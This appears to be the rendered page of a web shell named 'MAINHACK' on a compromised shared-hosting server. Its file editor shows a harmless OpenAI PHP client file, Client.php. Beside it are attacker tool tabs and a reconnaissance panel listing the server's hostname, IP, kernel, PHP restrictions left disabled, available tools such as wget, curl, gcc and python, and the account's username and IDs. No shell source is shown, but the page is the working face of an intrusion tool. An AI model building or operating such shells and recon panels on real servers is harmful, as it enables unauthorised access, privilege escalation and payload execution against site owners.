[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Client.php
<?php declare(strict_types=1); namespace OpenAI; use OpenAI\Contracts\ClientContract; use OpenAI\Contracts\TransporterContract; use OpenAI\Resources\Audio; use OpenAI\Resources\Chat; use OpenAI\Resources\Completions; use OpenAI\Resources\Edits; use OpenAI\Resources\Embeddings; use OpenAI\Resources\Files; use OpenAI\Resources\FineTunes; use OpenAI\Resources\Images; use OpenAI\Resources\Models; use OpenAI\Resources\Moderations; final class Client implements ClientContract { /** * Creates a Client instance with the given API token. */ public function __construct(private readonly TransporterContract $transporter) { // .. } /** * Given a prompt, the model will return one or more predicted completions, and can also return the probabilities * of alternative tokens at each position. * * @see https://platorm.openai.com/docs/api-reference/completions */ public function completions(): Completions { return new Completions($this->transporter); } /** * Given a chat conversation, the model will return a chat completion response. * * @see https://platform.openai.com/docs/api-reference/chat */ public function chat(): Chat { return new Chat($this->transporter); } /** * Get a vector representation of a given input that can be easily consumed by machine learning models and algorithms. * * @see https://platorm.openai.com/docs/api-reference/embeddings */ public function embeddings(): Embeddings { return new Embeddings($this->transporter); } /** * Learn how to turn audio into text. * * @see https://platform.openai.com/docs/api-reference/audio */ public function audio(): Audio { return new Audio($this->transporter); } /** * Given a prompt and an instruction, the model will return an edited version of the prompt. * * @see https://platorm.openai.com/docs/api-reference/edits */ public function edits(): Edits { return new Edits($this->transporter); } /** * Files are used to upload documents that can be used with features like Fine-tuning. * * @see https://platorm.openai.com/docs/api-reference/files */ public function files(): Files { return new Files($this->transporter); } /** * List and describe the various models available in the API. * * @see https://platorm.openai.com/docs/api-reference/models */ public function models(): Models { return new Models($this->transporter); } /** * Manage fine-tuning jobs to tailor a model to your specific training data. * * @see https://platorm.openai.com/docs/api-reference/fine-tunes */ public function fineTunes(): FineTunes { return new FineTunes($this->transporter); } /** * Given a input text, outputs if the model classifies it as violating OpenAI's content policy. * * @see https://platorm.openai.com/docs/api-reference/moderations */ public function moderations(): Moderations { return new Moderations($this->transporter); } /** * Given a prompt and/or an input image, the model will generate a new image. * * @see https://platorm.openai.com/docs/api-reference/images */ public function images(): Images { return new Images($this->transporter); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285